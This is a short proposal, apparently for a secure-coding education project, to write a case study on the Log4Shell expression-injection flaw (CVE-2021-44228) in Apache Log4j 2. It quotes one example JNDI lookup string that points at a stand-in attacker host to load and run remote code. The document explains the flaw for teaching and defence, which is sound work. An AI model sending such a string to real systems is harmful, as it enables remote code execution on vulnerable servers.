Proposal: Expression Language Injection in Apache Log4j 2 (Log4Shell) CWE-917 / CVE-2021-44228

This proposal adds a new secure coding case study for CVE-2021-44228 (Log4Shell).

• File: java/secure-coding-case-study-cwe-917-cve-2021-44228.md
• Vulnerability: CVE-2021-44228 - Log4Shell
• Software: Apache Log4j 2 (versions < 2.15.0)
• Language: Java
• Weakness: CWE-917 - Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Apache Log4j 2 supported a message lookup substitution feature that evaluated special expressions embedded in log messages at write time. It required zero authentication, zero user interaction, was exploitable over the network from anywhere on the internet, and gave the attacker full remote code execution. When a log message contained a string of the form ${jndi:ldap://attacker.com/exploit}, Log4j would parse the expression, initiate an outbound LDAP connection to the attacker-controlled server, fetch a remote Java class, and instantiate it, executing arbitrary attacker-supplied code in the context of the logging application. Because Log4j processed this substitution on any string that passed through a logger, including HTTP headers, usernames, and form fields, an unauthenticated attacker needed only to cause one such string to be logged. No prior access, credentials, or application-specific knowledge were required.

Proposed by Dhaanya Sai Garapati, under the guidance of Prof. David A. Wheeler, George Mason University.
We plan to submit a case study on this vulnerability unless there are objections.

Start with java/secure-coding-case-study-cwe-917-cve-2021-44228.md, the case-study file named in the proposal. Review the issue’s CVE-2021-44228, CWE-917, and Log4j 2 details, then ensure the completed case study accurately covers the described vulnerability and secure-coding lessons.